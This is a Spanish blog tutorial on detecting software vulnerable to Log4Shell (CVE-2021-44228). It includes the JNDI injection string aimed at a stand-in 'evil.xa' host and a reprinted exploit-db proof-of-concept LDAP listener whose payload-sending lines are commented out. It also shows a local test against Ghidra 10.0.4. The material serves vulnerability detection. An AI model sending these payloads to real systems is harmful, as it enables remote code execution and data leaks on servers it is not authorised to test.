Hola a tod@s!
Recientemente ha salido una vulnerabilidad que está dando mucho que hablar. Se le ha asignado el CVE-2021-44228. Sí, estamos hablando de log4j y vamos a tratar de ver como detectar aplicaciones vulnerables a esto mismo con alguna demo. Antes, os dejo un poco de detalle de lo que ocurre.
"Las versiones de Log4j anteriores a 2.16.0 están sujetas a una vulnerabilidad de ejecución remota de código a través del analizador ldap JNDI."
Según la guía de seguridad Log4j de Apache: Apache Log4j2 <= 2.14.1 Las funciones JNDI utilizadas en la configuración, los mensajes de registro y los parámetros no protegen contra LDAP controlado por atacantes y otros puntos finales relacionados con JNDI. Un atacante que puede controlar mensajes de registro o parámetros de mensajes de registro puede ejecutar código arbitrario cargado desde servidores LDAP cuando la sustitución de búsqueda de mensajes está habilitada. Desde log4j 2.16.0, este comportamiento se ha desactivado de forma predeterminada."
En este otro tweet podéis ver un gráfico con un paso a paso de cómo explotar la vulnerabilidad (y donde se podría poner remedio).
El resumen sería esto:
Un servidor que utilice la librería de java vulnerable, recibiría una petición en alguno de los campos que necesitaría tratar (el User-Agent en este caso), parsearía el contenido (${variable} => ${jndi:ldap://evil.xa/x}), entraría log4j para su tratamiento, realizaría la query ldap hacia el destino (evil.xa) y éste le respondería con la clase maliciosa ejecutando el código existente en la misma.
A día de hoy ya hay muchas pruebas de concepto que funcionan a la perfección y que ejecuta cualquier cosa. Incluso mucho malware ya ha empezado a utilizar esta vulnerabilidad, ojo con esto, se avecinan tempestades.
Ya vemos como hay tweets que nos trasladan la llegada de ello:
La idea de este post es ver cómo podemos, con lo que hay ya (que es mucho) y de forma sencilla, detectar aplicaciones vulnerables, OJO, sólo detectar. Y no hablo de un fuzzer para buscar aplicaciones vulnerables o scripts que buscan aplicaciones java que usen la librería o procesos en los que se vea que se emplea esta y qué versión.
Por ello, no nos vamos a complicar. Vamos a utilizar un script de exploit-db Log4j
Hay que retocarlo un poco, para lo que os comento. Por defecto, este script realiza una petición como se veía en la imagen inicial, introduce en el user-agent la cadena que hace que consulte al ldap:
Aquí podemos verlo:
Por medio de los parámetros se puede configurar las IP, los puertos o lo que se quiere enviar como parámetro. Todo esto, para nuestros fines no es necesario, por lo tanto, el script quedaría de la siguiente manera:
# Exploit Title: Apache Log4j2 2.14.1 - Information Disclosure
# Date: 12/12/2021
# Exploit Author: leonjza
# Vendor Homepage: https://logging.apache.org/log4j/2.x/
# Version: <= 2.14.1
# CVE: CVE-2021-44228
#!/usr/bin/env python3
# Pure python ENV variable leak PoC for CVE-2021-44228
# Original PoC: https://twitter.com/Black2Fan/status/1470281005038817284
#
# 2021 @leonjza
import argparse
import socketserver
import threading
import time
import requests
LDAP_HEADER = b'\x30\x0c\x02\x01\x01\x61\x07\x0a\x01\x00\x04\x00\x04\x00\x0a'
class ThreadedTCPRequestHandler(socketserver.BaseRequestHandler):
def handle(self) -> None:
print(f' i| new connection from {self.client_address[0]}')
sock = self.request
sock.recv(1024)
sock.sendall(LDAP_HEADER)
data = sock.recv(1024)
data = data[9:] # strip header
# example response
#
# ('Java version 11.0.13\n'
# '\x01\x00\n'
# '\x01\x03\x02\x01\x00\x02\x01\x00\x01\x01\x00\x0b'
# 'objectClass0\x00\x1b0\x19\x04\x172.16.840.1.113730.3.4.2')
data = data.decode(errors='ignore').split('\n')[0]
print(f' v| extracted value: {data}')
class ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
pass
def main():
parser = argparse.ArgumentParser(description='a simple log4j <=2.14 information disclosure poc (ref: https://twitter.com/Black2Fan/status/1470281005038817284)')
#parser.add_argument('--target', '-t', required=True, help='target uri')
parser.add_argument('--listen-host', default='0.0.0.0', help='exploit server host to listen on (default: 127.0.0.1)')
parser.add_argument('--listen-port', '-lp', default=1389,help='exploit server port to listen on (default: 1389)')
#parser.add_argument('--exploit-host', '-eh', required=True,default='127.0.0.1', help='host where (this) exploit server is reachable')
#parser.add_argument('--leak', '-l', default='${java:version}',help='value to leak. see: https://twitter.com/Rayhan0x01/status/1469571563674505217 (default: ${java:version})')
args = parser.parse_args()
print(f' i| starting server on {args.listen_host}:{args.listen_port}')
server = ThreadedTCPServer((args.listen_host, args.listen_port),ThreadedTCPRequestHandler)
serv_thread = threading.Thread(target=server.serve_forever)
serv_thread.daemon = True
serv_thread.start()
time.sleep(1)
print(f' i| server started')
while (1):
time.sleep(1)
#payload = f'${{jndi:ldap://{args.exploit_host}:{args.listen_port}/{args.leak}}}'
#print(f' i| sending exploit payload {payload} to {args.target}')
#try:
#r = requests.get(args.target, headers={'User-Agent': payload})
#print(f' i| response status code: {r.status_code}')
#print(f' i| response: {r.text}')
#except Exception as e:
# print(f' e| failed to make request: {e}')
#finally:
#server.shutdown()
#server.server_close()
if __name__ == '__main__':
main()
Os comentaré los cambios principales del script original, son principalmente 2.
Comentamos los parámetros recibidos eliminando lo no necesario y cambiamos el puerto por defecto a 1389.
Justo después del mensaje de “server started” introducimos el bucle infinito con un sleep para que se mantenga siempre a la escucha y terminamos de comentar el resto, que son las peticiones que el script realizaría contra el servidor enviando la cadena maliciosa en el user-agent.
Ejecutamos el script y ya tenemos la primera parte funcionando:
Ahora habría que buscar una aplicación vulnerable para comprobar que todo funciona, por ejemplo Ghidra en su penúltima versión.
La versión 10.1, está libre de la vulnerabilidad. Luego lo comprobaremos, ahora utilizaremos la 10.0.4.
Como necesitaremos saber si es vulnerable, qué tal si empleamos la cadena VULNERABLE y así nos será más fácil identificarlo. Queremos verificar en la salida del script la palabra VULNERABLE.
Dicho esto, se enviará: ${jndi:ldap://127.0.0.1:1389/VULNERABLE}
Introducimos la cadena en el buscador y pulsamos enter.
El resultado es la conexión contra el servidor ldap en el puerto 1389.
De esta forma detectamos que en Ghidra versión 10.0.4 podríamos aprovechar la vulnerabilidad de log4j y ejecutar lo que nosotros queramos.
En la versión 10.1 está solucionado esto que acabamos de ver, observando así cómo veríamos una web no vulnerable.
Cambiamos la cadena VULNERABLE por VULNERABLE2 y comprobamos si nos llega.
No, nos llega, por lo tanto, como indicaban tanto en el github como en el fichero de ayuda, está solucionado.
Bueno, espero que os haya gustado el post y nos vemos en el siguiente.
Hasta otra!!